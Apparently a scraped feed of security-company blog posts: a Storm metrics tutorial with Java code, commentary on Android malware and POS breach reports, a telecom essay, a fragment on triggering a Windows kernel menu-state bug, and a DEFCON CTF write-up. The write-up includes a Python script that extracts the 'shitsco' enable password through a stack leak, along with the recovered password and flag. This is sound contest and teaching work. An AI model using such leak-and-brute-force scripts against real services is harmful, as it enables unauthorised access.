It is possible to reliably create circumstances in which the xxxTrackPopupMenuEx call to xxxMNAllocMenuState will fail. After creating two windows, we use repeated calls to NtGdiCreateClientObj in order to reach the maximum number of handles that the process is allowed to have open. Once we have exhausted the available handles, we attempt to display a popup menu in each of the two previously created windows. Since the global MenuState object is not available for the second window’s menu, xxxTrackPopupMenuEx calls xxxMNAllocMenuState in order to create a new MenuState object. Because there are no available handles due to our previous exhaustion, this call fails and xxxMNEndMenuState is called with a parameter of 0, instead of a valid pointer to a MenuState object.

Storm Metrics How-To

$
0
0

If you have been following Storm’s updates over the past year, you may have noticed the metrics framework feature, added in version 0.9.0 New Storm metrics system PR. This provides nicer primitives built into Storm for collecting application specific metrics and reporting those metrics to external systems in a manageable and scalable way.

This blog post is a brief how to on using this system since the only examples of this system I’ve seen used are in the core storm code.

 

Concepts

Storm’s metrics framework mainly consists of two API additions: 1) Metrics, 2) Metrics Consumers.

 

Metrics

An object initialized in a Storm bolt or spout (or Trident Function) that is used for instrumenting the respective bolt/spout for metric collection. This object must also be registered with Storm using the TopologyContext.registerMetric(…) function. Metrics must implement backtype.storm.metric.api.IMetric. Several useful Metric implementations exist. (Excerpt from the Storm Metrics wiki page with some extra notes added).

AssignableMetric — set the metric to the explicit value you supply. Useful if it’s an external value or in the case that you are already calculating the summary statistic yourself. Note: Useful for statsd Gauges.

CombinedMetric — generic interface for metrics that can be updated associatively.

CountMetric — a running total of the supplied values. Call incr() to increment by one,incrBy(n) to add/subtract the given number. Note: Useful for statsd counters.

MultiCountMetric — a hashmap of count metrics. Note: Useful for many Counters where you may not know the name of the metric a priori or where creating many Counters manually is burdensome.

MeanReducer — an implementation of ReducedMetric that tracks a running average of values given to its reduce() method. (It accepts Double, Integer or Long values, and maintains the internal average as a Double.) Despite his reputation, the MeanReducer is actually a pretty nice guy in person.

 

Metrics Consumer

An object meant to process/report/log/etc output from Metric objects (represented as DataPoint objects) for all the various places these Metric objects were registered, also providing useful metadata about where the metric was collected such as worker host, worker port, componentID (bolt/spout name), taskID, timestamp, and updateInterval (all represented as TaskInfo objects). MetricConsumers are registered in the storm topology configuration (usingbacktype.storm.Config.registerMetricsConsumer(…)) or in Storm’s system config (Under the config name topology.metrics.consumer.register). Metrics Consumers must implement backtype.storm.metric.api.IMetricsConsumer.

 

Example Usage

To demonstrate how to use the new metrics framework, I will walk through some changes I made to the ExclamationTopology included in storm-starter. These changes will allow us to collect some metrics including:

  1. A simple count of how many times the execute() method was called per time period (5 sec in this example).
  2. A count of how many times an individual word was encountered per time period (1 minute in this example).
  3. The mean length of all words encountered per time period (1 minute in this example).
 

Adding Metrics to the ExclamationBolt

Add three new member variables to ExclamationBolt. Notice there are all declared as transient. This is needed because none of these Metrics are Serializable and all non-transient variables in Storm bolts and spouts must be Serializable.

transient CountMetric _countMetric;
transient MultiCountMetric _wordCountMetric;
transient ReducedMetric _wordLengthMeanMetric;

Initialize and register these Metrics in the Bolt’s prepare method. Metrics can only be registered in the prepare method of bolts or the open method of spouts. Otherwise an exception is thrown. The registerMetric takes three arguments: 1) metric name, 2) metric object, and 3) time bucket size in seconds. The “time bucket size in seconds” controls how often the metrics are sent to the Metrics Consumer.

@Override
public void prepare(Map conf, TopologyContext context, OutputCollector collector) {
  _collector = collector;
  initMetrics(context);
}

void initMetrics(TopologyContext context)
{
    _countMetric = new CountMetric();
    _wordCountMetric = new MultiCountMetric();
    _wordLengthMeanMetric = new ReducedMetric(new MeanReducer());

    context.registerMetric("execute_count", _countMetric, 5);
    context.registerMetric("word_count", _wordCountMetric, 60);
    context.registerMetric("word_length", _wordLengthMeanMetric, 60);
}

Actually increment/update the metrics in the bolt’s execute method. In this example we are just:

  1. incrementing a counter every time we handle a word.
  2. incrementing a counter for each specific word encountered.
  3. updating the mean length of word we encountered.
@Override
public void execute(Tuple tuple) {
  _collector.emit(tuple, new Values(tuple.getString(0) + "!!!"));
  _collector.ack(tuple);
  updateMetrics(tuple.getString(0));
}

void updateMetrics(String word)
{
  _countMetric.incr();
  _wordCountMetric.scope(word).incr();
  _wordLengthMeanMetric.update(word.length());
}

 

Collecting/Reporting Metrics

Lastly, we need to enable a Metric Consumer in order to collect and process these metrics. The Metric Consumer is meant to be the interface between the Storm metrics framework and some external system (such as Statsd,Riemann, etc). In this example, we are just going to log the metrics using Storm’s built-in LoggingMetricsConsumer. This is accomplished by registering the Metrics Consumer when defining the Storm topology. In this example, we are registering the metrics consumer with a parallelism hint of 2. Here is the line we need to add when defining the topology.

conf.registerMetricsConsumer(LoggingMetricsConsumer.class, 2);

Here is the full code for defining the toplogy:

TopologyBuilder builder = new TopologyBuilder();
builder.setSpout("word", new TestWordSpout(), 10);
builder.setBolt("exclaim1", new ExclamationBolt(), 3)
  .shuffleGrouping("word");
builder.setBolt("exclaim2", new ExclamationBolt(), 2)
  .shuffleGrouping("exclaim1");

Config conf = new Config();
conf.setDebug(true);
conf.registerMetricsConsumer(LoggingMetricsConsumer.class, 2);

if (args != null && args.length > 0) {
  conf.setNumWorkers(3);
  StormSubmitter.submitTopology(args[0], conf, builder.createTopology());
}
else {
  LocalCluster cluster = new LocalCluster();
  cluster.submitTopology("test", conf, builder.createTopology());
  Utils.sleep(5*60*1000L);
  cluster.killTopology("test");
  cluster.shutdown();
}

After running this topology, you should see log entries in $STORM_HOME/logs/metrics.logthat look like this.

<pre>2014-01-05 09:25:34,809 5479318  1388931931           localhost:6702      9:exclaim2    execute_count           196
2014-01-05 09:25:49,806 5494315  1388931949           localhost:6703      8:exclaim1    execute_count           28
2014-01-05 09:25:59,812 5504321  1388931959           localhost:6703      8:exclaim1    execute_count           34
2014-01-05 09:25:59,812 5504321  1388931946           localhost:6702      6:exclaim1    execute_count           29
2014-01-05 09:25:59,825 5504334  1388931951           localhost:6702      9:exclaim2    execute_count           989
2014-01-05 09:25:59,831 5504340  1388931957           localhost:6704      7:exclaim1    execute_count           656
2014-01-05 09:26:29,821 5534330  1388931977           localhost:6704      7:exclaim1    word_count              {bertels=435, jackson=402, nathan=405, mike=414, golda=451}
2014-01-05 09:26:29,821 5534330  1388931977           localhost:6704      7:exclaim1    word_length             5.790223065970574
2014-01-05 09:26:29,822 5534331  1388931982           localhost:6704     10:exclaim2    word_count              {bertels!!!=920, golda!!!=919, jackson!!!=902, nathan!!!=907, mike!!!=921}
2014-01-05 09:26:29,823 5534332  1388931982           localhost:6704     10:exclaim2    word_length             8.794484569927775
2014-01-05 09:26:29,823 5534332  1388931986           localhost:6702      9:exclaim2    word_count              {bertels!!!=737, golda!!!=751, jackson!!!=766, nathan!!!=763, mike!!!=715}
2014-01-05 09:26:29,823 5534332  1388931986           localhost:6702      9:exclaim2    word_length             8.818327974276528
2014-01-05 09:26:31,777 5536286  1388931991           localhost:6702      6:exclaim1    word_count              {bertels=529, jackson=517, nathan=503, mike=498, golda=511}
2014-01-05 09:26:31,777 5536286  1388931991           localhost:6702      6:exclaim1    word_length             5.819781078967944
2014-01-05 09:26:32,454 5536963  1388931992           localhost:6704     10:exclaim2    execute_count           14
2014-01-05 09:26:49,829 5554338  1388932009           localhost:6703      8:exclaim1    execute_count           76</pre>

You should also see the LoggingMetricsConsumer show up as a Bolt in the Storm web UI, like this (After clicking the “Show System Stats” button at the bottom of the page):

 

 

Summary

  1. We instrumented the ExclamationBolt to collect some simple metrics. We accomplished this by initializing and registering the metrics in the Bolt’s prepare method and then by incrementing/updating the metrics in the bolt’s execute method.

  2. We had the metrics framework simply log all the metrics that were gathered using the built-in LoggingMetricsConsumer. The full code ishere as well as posted below. A diff between the original ExclamationTopology and mine is here.

 

In a future post I hope to present a Statsd Metrics Consumer that I am working on to allow for easy collection of metrics in statsd and then visualization in graphite, like this.

 

package storm.starter;

import backtype.storm.Config;
import backtype.storm.LocalCluster;
import backtype.storm.StormSubmitter;
import backtype.storm.metric.LoggingMetricsConsumer;
import backtype.storm.metric.api.CountMetric;
import backtype.storm.metric.api.MeanReducer;
import backtype.storm.metric.api.MultiCountMetric;
import backtype.storm.metric.api.ReducedMetric;
import backtype.storm.task.OutputCollector;
import backtype.storm.task.TopologyContext;
import backtype.storm.testing.TestWordSpout;
import backtype.storm.topology.OutputFieldsDeclarer;
import backtype.storm.topology.TopologyBuilder;
import backtype.storm.topology.base.BaseRichBolt;
import backtype.storm.tuple.Fields;
import backtype.storm.tuple.Tuple;
import backtype.storm.tuple.Values;
import backtype.storm.utils.Utils;

import java.util.Map;

/**
 * This is a basic example of a Storm topology.
 */
public class ExclamationTopology {

  public static class ExclamationBolt extends BaseRichBolt {
    OutputCollector _collector;

    // Metrics
    // Note: these must be declared as transient since they are not Serializable
    transient CountMetric _countMetric;
    transient MultiCountMetric _wordCountMetric;
    transient ReducedMetric _wordLengthMeanMetric;

    @Override
    public void prepare(Map conf, TopologyContext context, OutputCollector collector) {
      _collector = collector;

      // Metrics must be initialized and registered in the prepare() method for bolts,
      // or the open() method for spouts.  Otherwise, an Exception will be thrown
      initMetrics(context);
    }

    void initMetrics(TopologyContext context)
    {
	_countMetric = new CountMetric();
	_wordCountMetric = new MultiCountMetric();
	_wordLengthMeanMetric = new ReducedMetric(new MeanReducer());

	context.registerMetric("execute_count", _countMetric, 5);
	context.registerMetric("word_count", _wordCountMetric, 60);
	context.registerMetric("word_length", _wordLengthMeanMetric, 60);
    }

    @Override
    public void execute(Tuple tuple) {
      _collector.emit(tuple, new Values(tuple.getString(0) + "!!!"));
      _collector.ack(tuple);

      updateMetrics(tuple.getString(0));
    }

    void updateMetrics(String word)
    {
	_countMetric.incr();
	_wordCountMetric.scope(word).incr();
	_wordLengthMeanMetric.update(word.length());
    }

    @Override
    public void declareOutputFields(OutputFieldsDeclarer declarer) {
      declarer.declare(new Fields("word"));
    }


  }

  public static void main(String[] args) throws Exception {
    TopologyBuilder builder = new TopologyBuilder();

    builder.setSpout("word", new TestWordSpout(), 10);
    builder.setBolt("exclaim1", new ExclamationBolt(), 3).shuffleGrouping("word");
    builder.setBolt("exclaim2", new ExclamationBolt(), 2).shuffleGrouping("exclaim1");

    Config conf = new Config();
    conf.setDebug(true);

    // This will simply log all Metrics received into $STORM_HOME/logs/metrics.log on one or more worker nodes.
    conf.registerMetricsConsumer(LoggingMetricsConsumer.class, 2);

    if (args != null && args.length > 0) {
      conf.setNumWorkers(3);

      StormSubmitter.submitTopology(args[0], conf, builder.createTopology());
    }
    else {

      LocalCluster cluster = new LocalCluster();
      cluster.submitTopology("test", conf, builder.createTopology());
      Utils.sleep(5*60*1000L);
      cluster.killTopology("test");
      cluster.shutdown();
    }
  }
}

 

Android Is Still the King of Mobile Malware

$
0
0

According to F-Secure’s “Q1 2014 Mobile Threat Report”, the Android operating system was the main target of 99% of new mobile malware in Q1 2014. The report states that between January 1 and March 31, F-Secure discovered 275 new malware threat families for Android, compared to just one for iOS and one for Symbian. In the same report from Q1 2013, F-Secure identified 149 malware threat families with 91% of them targeting Android. Not only are malware threats proliferating, but the amount of malware specifically targeting Android devices is also increasing.

It’s true that Android malware is becoming more advanced and harder to mitigate. But all the same, the numbers tell a bleak story for Android users. Why are there so many more malware threat families for Android than for iOS? The advantage iOS has over Android in terms of malware protection is Apple’s App store, where all applications are fully vetted and tested before public release. This system has had a significant impact on preventing malware infections for iOS users. Since a large number of Android apps come from third-party sources, it’s more difficult for Google to monitor and control all of the Android apps being downloaded by consumers. As long as Android continues to allow users to download apps from third parties where “criminal developers” can distribute their applications, we’re likely to continue to see an increase in the number of Android malware threats. It will be interesting to see what F-Secure’s Q2 report brings.

Verizon's Data Breach Investigations Report: POS Intrusion Discovery

$
0
0

Verizon recently released its 2014 Data Breach Investigations Report. I could spend all day analyzing this, but I’ll touch on just one issue that’s been on many of our minds recently: Point-of-Sale (POS) intrusion.

Aside from Verizon’s assertion that the number of POS intrusions is actually declining (contrary to popular perception), I was most intrigued by the following statement: “Regardless of how large the victim organization was or which methods were used to steal payment card information, there is another commonality shared in 99% of the cases: someone else told the victim they had suffered a breach.”

What does that say for the wide array of network defense software currently deployed around the globe? An organization’s security posture is clearly flawed if the vast majority of compromises are discovered by outside parties (the report stated that law enforcement was the leading source of discovery for POS intrusions). It is especially troubling that even large organizations don’t spot intrusions, because they likely have the resources to purchase the best security tools available. Either companies aren’t prioritizing security, or the available tools are failing them.

The bottom line is that with all the network security tools out there, no one has shown much success at thwarting POS attacks in real time. If we assume the POS targets were PCI compliant, then they must have had, at a minimum, 12 security requirements from 6 control objectives (per the PCI Data Security Standard: Requirements and Security Assessment Procedures Version 3.0).

Despite these security measures being critical first lines of defense, in many situations they are not enough to thwart the most aggressive threats. Attackers were still able to enter the networks and extract sensitive consumer information. It seems likely that network defenders will continue to be unaware of nefarious acts taking place within their own networks until more intelligent network security solutions become the standard. Detection, analysis, and remediation need to happen in real time, rather than continuing to be a post-mortem affair.

DEFCON Capture the Flag Qualification Challenge #1

$
0
0

I constantly challenge myself to gain deeper knowledge in reverse engineering, vulnerability discovery, and exploit mitigations. By day, I channel this knowledge and passion into my job as a security researcher at Endgame. By night, I use these skills as a Capture the Flag code warrior. I partook in the DEFCON CTF qualification round this weekend to help sharpen these skills and keep up with the rapid changes in reverse engineering technology. DEFCON CTF qualifications are a fun, and sometimes frustrating, way to cultivate my skillset by solving challenges alongside my team, Samurai.

 

CTF Background

For those of you who aren’t familiar with a computer security CTF game, Wikipedia provides a simple explanation. The qualification round for the DEFCON CTF is run jeopardy style while the actual game is an attack/defense model. Qualifications ran all weekend for 48 hours with no breaks. Since 2013 the contest has been run by volunteers belonging to a hacker club called the Legitimate Business Syndicate, which is partly comprised of former Samurai members. They did a fantastic job with qualifications this year and ran a smooth game with almost no downtime, solid technical challenges, round the clock support and the obligatory good-natured heckling. As a fun exercise, let’s walk through an interesting problem from the game. All of the problems from the CTF game can be found here.

 

Problem Introduction

The first challenge was written by someone we’ll call Mr. G and was worth 2 points. Upon opening the challenge you are presented with the following text:

http://services.2014.shallweplayaga.me/shitsco_c8b1aa31679e945ee64bde1bdb19d035 is running at:

shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me:31337

Capture the flag.

Downloading the shitsco_c8b1aa31679e945ee64bde1bdb19d035 file and running the “file” command reveals:

user@ubuntu:~$  file shitsco

shitsco: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x8657c9bdf925b4864b09ce277be0f4d52dae33a6, stripped

This is an ELF file that we can assume will run on a Linux 32-bit OS. Symbols were stripped to make reverse engineering a bit more difficult. At least it is not statically linked. I generally like to run strings on a binary at this point to get a quick sense of what might be happening in the binary. Doing this shows several string APIs imported and text that looks to be indicative of a command prompt style interface. Let’s run the binary to confirm this:

user@ubuntu:~$  ./shitsco
Failed to open password file: No such file or directory

Ok, the program did not do what I expected. We will need to add a user shitsco and create a file in his home directory called password. I determined this by running:

shitsco@ubuntu:~$  sudo strace ./shitsco
…
open("/home/shitsco/password", O_RDONLY) = -1 ENOENT (No such file or directory)
…

We can see that the file /home/shitsco/password was opened for reading and that this failed (ENOENT) because the file did not exist. You should create this file without a new line on the end or you might have trouble later on. I discovered this through trial and error. After creating the file we get better results:

shitsco@ubuntu:~$  echo –n asdf > /home/shitsco/password
shitsco@ubuntu:~$  ./shitsco

  oooooooo8 oooo        o88    o8
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888
        888 888   888   888  888           888 888         888     888
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?

$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
======================================
Type ? followed by a command for more detailed information
$

This looks like fun. We have what looks to be a router prompt. Typically, the goal with these binary exploitation problems is to identify somewhere that user input causes the program to crash and then devise a way to make that input take control over the program and reveal a file called flag residing on the remote machine. At this point, I have two choices. I can play around with the input to see if I can get it to crash or I can dive into the reverse engineering. I opted to play around with the input and the first thing that caught my attention was the shell command!

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ shell
bash-3.2$

No way, it couldn’t be that easy. Waiting 5 seconds produces:

Yeah, right.

Ok, let the taunting begin. We can ignore the shell command. Thanks for the laugh Mr. G. By playing with the command line interface, I found the command input length was limited to 80 characters with anything coming after 80 characters applying to the next command. The set and show commands looked interesting, but even adding 1000 variables of different lengths failed to produce any interesting behavior. Typically, I am looking for a way to crash the program at this point.

What really looked like the solution came from the enable command:

$ enable
Please enter a password: asdf
Authentication Successful
# ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|flag                                 |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
|disable                              |
======================================
Type ? followed by a command for more detailed information
# flag
The flag is: foobarbaz

The password for the enable prompt comes from the password file we created earlier. I also created a file in /home/shitsco/ called flag with the contents foobarbaz; which is now happily displayed on my console. The help (? command) after we enter “enabled mode” has two extra commands: disable and flag. So, if I can get the enable password on the remote machine, then I can simply run the flag command and score points on the problem. Ok, we have a plan, but how to crack that password?

 

The “Enable” Password

To recover this password, the first option that comes to mind is brute force. This is usually an option of last resort in CTF competitions. Just think about what could happen to this poor service if 1000 people decided to brute force the challenge. Having an inaccessible service spoils the fun for others playing. It’s time to dive a bit deeper and see if there is anything else we could try.

I tried long passwords, passwords with format strings such as %s, empty passwords, and passwords with binary data. None of these produced any results. However, a password length of 5 caused a strange behavior:

$ enable
Please enter a password: AAAAA
Nope.  The password isn't AAAAA▒r▒@▒r▒▒ο`M_▒`▒▒▒t▒

Ok, that looks like we’re getting extra memory back. If we look at it as hex we see:

shitsco@ubuntu:~$  echo -e enable\\nAAAAA\\n | ./shitsco | xxd
…
0000220: 2020 5468 6520 7061 7373 776f 7264 2069    The password i
0000230: 736e 2774 2041 4141 4141 f07c b740 f47c  sn't AAAAA.|.@.|
0000240: b792 90c1 bf60 c204 0808 8d69 b760 c204  .....`.....i.`..
0000250: 08a0 297f b701 0a24 200a 3a20 496e 7661  ..)....$ .: Inva
0000260: 6c69 6420 636f 6d6d 616e 640a 2420       lid command.$

The bit that starts 0xf0 0x7c is the start of the memory disclosure. Looking a little further, we see 0x60 0xc2 0x04 0x08. This looks like it could be a little endian encoded pointer for 0x0804c260. This is pretty cool and all, but where is the password?

I tried sending in all possible password lengths and it was always leaking the same amount of data. But the leak only worked if the password is more than 4 characters. It’s time to turn to IDA Pro and focus in on the function for the enable command.

This is the disassembly for the function responsible for handling the enable command. It is easy to find with string cross references:

.text:08049230 enable          proc near               ; DATA XREF: .data:0804C270o
.text:08049230
.text:08049230 dest            = dword ptr -4Ch
.text:08049230 src             = dword ptr -48h
.text:08049230 n               = dword ptr -44h
.text:08049230 term            = byte ptr -40h
.text:08049230 s2              = byte ptr -34h
.text:08049230 var_14          = dword ptr -14h
.text:08049230 cookie          = dword ptr -10h
.text:08049230 arg_0           = dword ptr  4
.text:08049230
.text:08049230                 push    esi
.text:08049231                 push    ebx
.text:08049232                 sub     esp, 44h
.text:08049235                 mov     esi, [esp+4Ch+arg_0]
.text:08049239                 mov     eax, large gs:14h
.text:0804923F                 mov     [esp+4Ch+cookie], eax
.text:08049243                 xor     eax, eax
.text:08049245                 mov     eax, [esi]
.text:08049247                 test    eax, eax
.text:08049249                 jz      loc_80492D8
.text:0804924F                 lea     ebx, [esp+4Ch+s2]
.text:08049253                 mov     [esp+4Ch+n], 20h ; n
.text:0804925B                 mov     [esp+4Ch+src], eax ; src
.text:0804925F                 mov     [esp+4Ch+dest], ebx ; dest
.text:08049262                 call    _strncpy
.text:08049267
.text:08049267 loc_8049267:                            ; CODE XREF: enable+EDj
.text:08049267                 mov     [esp+4Ch+src], ebx ; s2
.text:0804926B                 mov     [esp+4Ch+dest], offset password_mem ; s1
.text:08049272                 call    _strcmp
.text:08049277                 mov     [esp+4Ch+var_14], eax
.text:0804927B                 mov     eax, [esp+4Ch+var_14]
.text:0804927F                 test    eax, eax
.text:08049281                 jz      short loc_80492B8
.text:08049283                 mov     [esp+4Ch+n], ebx
.text:08049287                 mov     [esp+4Ch+src], offset aNope_ThePasswo ; "Nope.  The password isn't %s\n"
.text:0804928F                 mov     [esp+4Ch+dest], 1
.text:08049296                 call    ___printf_chk
.text:0804929B
.text:0804929B loc_804929B:                            ; CODE XREF: enable+A5j
.text:0804929B                 mov     [esp+4Ch+dest], esi
.text:0804929E                 call    sub_8049090
.text:080492A3                 mov     eax, [esp+4Ch+cookie]
.text:080492A7                 xor     eax, large gs:14h
.text:080492AE                 jnz     short loc_8049322
.text:080492B0                 add     esp, 44h
.text:080492B3                 pop     ebx
.text:080492B4                 pop     esi
.text:080492B5                 retn
.text:080492B5 ; ---------------------------------------------------------------------------
.text:080492B6                 align 4
.text:080492B8
.text:080492B8 loc_80492B8:                            ; CODE XREF: enable+51j
.text:080492B8                 mov     [esp+4Ch+dest], offset aAuthentication ; "Authentication Successful"
.text:080492BF                 mov     ds:admin_privs, 1
.text:080492C9                 mov     ds:prompt, 23h
.text:080492D0                 call    _puts
.text:080492D5                 jmp     short loc_804929B
.text:080492D5 ; ---------------------------------------------------------------------------
.text:080492D7                 align 4
.text:080492D8
.text:080492D8 loc_80492D8:                            ; CODE XREF: enable+19j
.text:080492D8                 mov     [esp+4Ch+src], offset aPleaseEnterAPa ; "Please enter a password: "
.text:080492E0                 lea     ebx, [esp+4Ch+s2]
.text:080492E4                 mov     [esp+4Ch+dest], 1
.text:080492EB                 call    ___printf_chk
.text:080492F0                 mov     eax, ds:stdout
.text:080492F5                 mov     [esp+4Ch+dest], eax ; stream
.text:080492F8                 call    _fflush
.text:080492FD                 mov     dword ptr [esp+4Ch+term], 0Ah ; term
.text:08049305                 mov     [esp+4Ch+n], 20h ; a3
.text:0804930D                 mov     [esp+4Ch+src], ebx ; a2
.text:08049311                 mov     [esp+4Ch+dest], 0 ; fd
.text:08049318                 call    read_n_until
.text:0804931D                 jmp     loc_8049267
.text:08049322 ; ---------------------------------------------------------------------------
.text:08049322
.text:08049322 loc_8049322:                            ; CODE XREF: enable+7Ej
.text:08049322                 call    ___stack_chk_fail
.text:08049322 enable          endp

Here is the C decompiled version of the function that is a bit clearer:

int __cdecl enable(const char **a1)
{
  const char *v1; // ebx@2
  char s2[32]; // [sp+18h] [bp-34h]@2
  int v4; // [sp+38h] [bp-14h]@3
  int cookie[4]; // [sp+3Ch] [bp-10h]@1

  cookie[0] = *MK_FP(__GS__, 20);
  if ( *a1 )
  {
   v1 = s2;
   strncpy(s2, *a1, 32u);
  }
  else
  {
   v1 = s2;
   __printf_chk(1, "Please enter a password: ");
   fflush(stdout);
   read_n_until(0, (int)s2, 32, 10);
  }
  v4 = strcmp((const char *)password_mem, v1);
  if ( v4 )
  {
   __printf_chk(1, "Nope.  The password isn't %s\n", v1);
  }
  else
  {
   admin_privs = 1;
   prompt = '#';
   puts("Authentication Successful");
  }
  sub_8049090((void **)a1);
  return *MK_FP(__GS__, 20) ^ cookie[0];
}

I’ve labeled a few things here like the local variables and the recv_n_until function. Notice that s2 or [esp+4Ch+src] is the destination buffer for the password we enter. It also looks possible to run enable < password > and not get prompted for the password. This results in a strncpy and the other prompting path read the password with a call to recv_n_until. Here is the interesting thing: When I tried the strncpy code path, I did not get the leak behavior:

$ enable
Please enter a password: AAAAA
Nope.  The password isn't AAAAA`x▒@dx▒▒▒`▒d▒`▒▒▒z▒
$ enable AAAAA
Nope.  The password isn't AAAAA
$

So, what is the difference? Let’s have a quick look at the strncpy man page, namely the bit that says “If the length of src is less than n, strncpy() writes additional null bytes to dest to ensure that a total of n bytes are written.” On the prompting code path, our string is not being null terminated but if we enter the password with the enable command it is null terminated. We can also see that the s2 variable on the stack is never initialized to 0. There is no memset call.

Still we don’t have the password. It doesn’t exist in the leaked data. Leaks are very useful in exploitation as a defeat to ASLR. We might have enough information here to recover base addresses of the stack or libc. However, the path we are on to get the flag does not involve taking advantage of memory corruption. Is there anything in this leak that could give us something useful?

To answer this question let’s look at the stack layout and what is actually getting printed back to us:

.text:08049230 dest            = dword ptr -4Ch
.text:08049230 src             = dword ptr -48h
.text:08049230 n               = dword ptr -44h
.text:08049230 term            = byte ptr -40h
.text:08049230 s2              = byte ptr -34h
.text:08049230 var_14          = dword ptr -14h
.text:08049230 cookie          = dword ptr -10h
.text:08049230 arg_0           = dword ptr  4

Therefore, if we are copying into s2 and we only leak data after the 4th character, we can assume that by default in the uninitialized stack there is a null at s2[3]. Overwriting this with user data causes our string to not terminate until we run into a null later on up the stack. What is var_14?

v4 = strcmp((const char *)password_mem, v1);

It turns out that var_14 (or v4) is the return from strcmp. Hummm. Here is what the main page has to say about that “The strcmp() and strncmp() functions return an integer less than, equal to, or greater than zero if s1 (or the first n bytes thereof) is found, respectively, to be less than, to match, or be greater than s2.” What this means is that we can tell if our input string is less than or greater than the password on the remote machine. Let’s try it locally first. Our password locally is “asdf”. Let’s see if we can divine the first character using this method. The var_14 variable should be the 33rd character we get back:

shitsco@ubuntu:~$  python -c "import sys;sys.stdout.write('enable\n' + ''*80 + '\n')" | ./shitsco |xxd
…
0000210: 2070 6173 7377 6f72 643a 204e 6f70 652e   password: Nope.
0000220: 2020 5468 6520 7061 7373 776f 7264 2069    The password i
0000230: 736e 2774 2020 2020 2020 2020 2020 2020  sn't
0000240: 2020 2020 2020 2020 2020 2020 2020 2020
0000250: 2020 2020 2001 0a24 200a 2020 2020 2020       ..$ .

I picked the space character for our password because on the ascii table space (0x20) is the lowest value printable character. We can see that the bit in bold here was 0x0100 as var_14. The null after the 0x1 is implied. Now, what happens if we set this to ‘a’ + 79 spaces?

shitsco@ubuntu:~$ python -c "import sys;sys.stdout.write('enable\na' + ''*79 + '\n')" | ./shitsco |xxd
0000220: 2020 5468 6520 7061 7373 776f 7264 2069    The password i
0000230: 736e 2774 2061 2020 2020 2020 2020 2020  sn't a
0000240: 2020 2020 2020 2020 2020 2020 2020 2020
0000250: 2020 2020 2001 0a24 200a 2020 2020 2020       ..$ .
0000260: 2020 2020 2020 2020 2020 2020 2020 2020

Remember, that ‘a’ was actually the first character of our password locally and we still got a 0x1 back. How about ‘b’?

shitsco@ubuntu:~$ python -c "import sys;sys.stdout.write('enable\nb' + ''*79 + '\n')" | ./shitsco |xxd
0000220: 2020 5468 6520 7061 7373 776f 7264 2069    The password i
0000230: 736e 2774 2062 2020 2020 2020 2020 2020  sn't b
0000240: 2020 2020 2020 2020 2020 2020 2020 2020
0000250: 2020 2020 20ff ffff ff0a 2420 0a20 2020       .....$ .
0000260: 2020 2020 2020 2020 2020 2020 2020 2020

Bingo. Here we have a value of 0xffffffff for var_14. Therefore, we know that the string we sent in is numerically higher than the actual password. The last character we tried, ‘a’, was still giving us back 0x01. When we see the value of var_14 change to -1 we know that the correct character was not the most recent attempt but the one prior to it. We can send all characters sequentially until we find the password.

 

Automation

The password used on the remote server is probably short enough that we could disclose it by hand. However, as a general rule in life, if I have to do something more than a few times I almost always save time by writing a quick python script to automate. Since we are going to be running this on a remote target I’ve set the server to run over a TCP port with some fancy piping over a fifo pipe.

shitsco@ubuntu:~$ mkfifo pipe
shitsco@ubuntu:~$ nc -l 31337 < pipe | ./shitsco > pipe

Here is a python script that will discover the password used. I’ve changed the password file on my local system to the one that was used during the game:

import socket
import string
import sys

s=socket.socket()

s.connect(("192.168.1.151", 31337))
s.recv(1024)

def try_pass(passwd):
s.send("enable\n")
s.recv(1024)
s.send(passwd + "\n")
ret = s.recv(1024)
if ret.find("Authentication Successful") != -1:
return "!"
return ret[ret.find("$")-2]

chars = []
for x in string.printable:
chars.append(x)
chars.sort()

known = ""
while 1:
prev = chars[0]
for x in chars:

i = try_pass(known + x + "" * (30-len(known)))
if ord(i) == 0xff:
known += prev
break
prev = x

i = try_pass(known[:-1]+x+"\x00")
if i == '!':
print "Enable password is: %s" % (known[:-1]+x)
sys.exit()

Running the script produces the output:

$ python shitsco.py
Enable password is: bruT3m3hard3rb4by

Excellent, let’s connect to the service with netcat and retrieve the flag:

$ nc shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me 31337

 oooooooo8 oooo        o88    o8
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888
       888 888   888   888  888           888 888         888     888
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ enable bruT3m3hard3rb4by
Authentication Successful
# flag
The flag is: 14424ff8673ad039b32cfd756989be12

All that’s left to do is submit the flag and score points!

I’ll be posting another challenge and solution from the CTF soon, so if you found this one interesting, be sure to check back for more.


Telecom as Critical Infrastructure: Looking Beyond the Cyber Threat

$
0
0

Much of the discussion around cyber security of critical infrastructure focuses on the debilitating impact of a cyber attack on a country’s energy, economic, and transportation backbone. But Russia’s recent actions suggest an elevation of telecommunications as the most critical of all infrastructures—and the one it deems most worthy of protecting, not only because of the risks it may face, but also because of its potential as a mechanism for advancing national interests.

In March 2014, cyber attacks between Russia and Ukraine began when unknown hackers attacked Russian central bank and foreign ministry websites, and Ukrainian government websites were hit by an onslaught of 42 attacks during the Crimean vote for secession. Amid this back-and-forth volley of cyber attacks, Russia has quickly and quietly invested almost $25 million to provide Internet and telecom infrastructure in Crimea by deploying a fiber-optic submarine telecom link between the mainland and its newest territory. Rather than focusing on switching water, transportation, or electricity to Russian infrastructure, it has prioritized the establishment of telecommunications networks, turning this critical infrastructure into a tactic in and of itself.

